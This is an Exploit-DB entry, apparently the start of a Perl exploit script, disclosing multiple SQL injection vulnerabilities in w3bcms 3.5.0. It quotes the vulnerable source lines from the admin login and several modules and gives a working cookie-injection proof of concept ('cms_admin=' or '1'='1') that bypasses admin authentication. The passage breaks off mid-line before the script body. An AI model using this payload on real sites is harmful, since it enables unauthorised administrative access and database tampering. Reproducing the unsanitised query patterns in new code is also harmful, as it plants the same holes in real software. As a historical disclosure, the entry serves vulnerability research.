Exploit-DB #8009
Description: w3bcms 3.5.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-02-09
Author: DNX

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use Getopt::Long;

#                            \#'#/
#                            (-.-)
#    -------------------oOO---(_)---OOo------------------
#    |           __             __                      |
#    |     _____/ /_____ ______/ /_  __  ______ ______  |
#    |    / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/  |
#    |   (__  ) /_/ /_/ / /  / /_/ / /_/ / /_/ (__  )   |
#    |  /____/\__/\__,_/_/  /_.___/\__,_/\__, /____/    |
#    |  Security Research Division      /____/ 2oo9     |
#    ----------------------------------------------------
#    | w3bcms <= v3.5.0 Multiple Remote Vulnerabilities |
#    |        (requires magic_quotes_gpc = Off)         |
#    ----------------------------------------------------
# [!] Discovered.: DNX
# [!] Vendor.....: http://www.w3bcms.de
# [!] Detected...: 11.01.2009
# [!] Reported...: 17.01.2009
# [!] Response...: 19.01.2009
#
# [!] Background.: CMS features in the frontend:
#                  Â» Ausgabe angelegter Seiten
#                  Â» Integrierter sicherer Spamschutz (kein Captcha!)
#                  Â» CMS Features wie Slogan Rotation, Datumausgabe, Seitenanzeige
#                  Â» Integrierter Besuchercounter (versteckt/sichtbar)
#               <b>Â» Sicherheit gegen Hackangriffe</b>
#                  Â» Schnelle Datenbankabfragen
#                  Â» 100% Suchmaschinenoptimiert (SEO)
#                  Â» Erweiterbar durch Module & Addons
#                  Â» UnterstÃ¼tzt Mod Rewrite URL's (optional)
#
#
# [!] Info.......: Insecure Cookie Handling in Admin Backend Login
# [!] Bug........: $_COOKIE["cms_admin"] in admin/index.php near line 67
#
#                  67: if ($_COOKIE["cms_admin"] != "") {
#                  68: 
#                  69:         $admin = mysql_fetch_assoc(mysql_query("SELECT * FROM admin WHERE cookie='".$_COOKIE["cms_admin"]."'"));
#                  70: 
#                  71:         if ($admin['benutzername'] != "") {
#                  72: 
#                  73:                 $_SESSION['login'] = true;
#                  74:                 header("Location: inc/index.php?seite=uebersicht");
#                  75:                 exit;
#                  76: 
#                  77:         }
#                  78: 
#                  79: }
#
# [!] PoC........: javascript:document.cookie = "cms_admin=' or '1'='1; path=/";
#
#
# [!] Info.......: Downloads module v1.5.0
# [!] Bug........: $_GET['id'] in includes/module/downloads/index.inc.php near line 15
#
#                  15: if (isset($_GET['action']) && $_GET['action'] == "klick") {
#                  16: 
#                  17:         $data = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_downloads WHERE id='".$_GET['id']."'"));
#                  18:         mysql_query("UPDATE modul_downloads SET klicks=klicks+1 WHERE id='".$_GET['id']."'");
#                  19:         $url = preg_replace('(%PAGE_DIR%)', $settings['page_dir'], $data['url']);
#                  20:         header("Location: ".$url."");
#                  21:         exit;
#                  22: 
#                  23: }
#
#
# [!] Info.......: News module v1.5.0
# [!] Bug........: $_GET['action'] in includes/module/news/index.inc.php near line 131
#
#                  131: $kcheck = eregi ("kommentar", $_GET['action']);
#
#                  135: if ($kcheck == "1") {
#                  136: 
#                  137:         $str = $_GET['action'];
#                  138:         $explode = explode(".",$str);
#                  139: 
#                  140:         $ausgabe = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_news WHERE id='".$explode[0]."' AND status='0'"));
#
#
# [!] Info.......: Portfolio module v2.0.0
# [!] Bug........: $_GET['action'] in includes/module/portfolio/index.inc.php near line 75
#
#                  75: $kcheck = eregi ("show", $_GET['action']);
#                  76: 
#                  77: if ($kcheck == "1") {
#                  78: 
#                  79:         $str = $_GET['action'];
#                  80:         $explode = explode(".",$str);
#                  81: 
#                  82:         $ausgabe = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_portfolio WHERE id='".$explode[0]."'"));
#
#
# [!] Info.......: Partner module v1.5.0
# [!] Bug........: $_GET['id'] in includes/module/partner/index.inc.php near line 15
#
#                  15: if (isset($_GET['action']) && $_GET['action'] == "klick") {
#                  16: 
#                  17:         $data = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_partner WHERE id='".$_GET['id']."'"));
#                  18:         mysql_query("UPDATE modul_partner SET klicks=klicks+1 WHERE id='".$_GET['id']."'");
#                  19: 
#                  20:         header("Location: ".$data['url']."");
#                  21:         exit;
#                  22: 
#                  23: }
#
#
# [!] Info.......: Mediathek module v1.5.0
# [!] Bug........: $_GET['id'] in includes/module/mediathek/index.inc.php near line 15
#
#                  15: if (isset($_GET['action']) && $_GET['action'] == "klick") {
#                  16: 
#                  17:         $data = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_mediathek WHERE id='".$_GET['id']."'"));
#                  18:         mysql_query("UPDATE modul_mediathek SET klicks=klicks+1 WHERE id='".$_GET['id']."'");
#                  19: 
#                  20:         $mediafile = $settings['page_dir']."/includes/media/".$data['mediafile'];
#                  21:
#                  22:         header("Location: ".$mediafile."");
#                  23:         exit;
#                  24:
#                  25: }
#
#
# [!] Info.......: Sitemap module v1.5.0
# [!] Bug........: $_GET['seite'] in includes/module/sitemap/i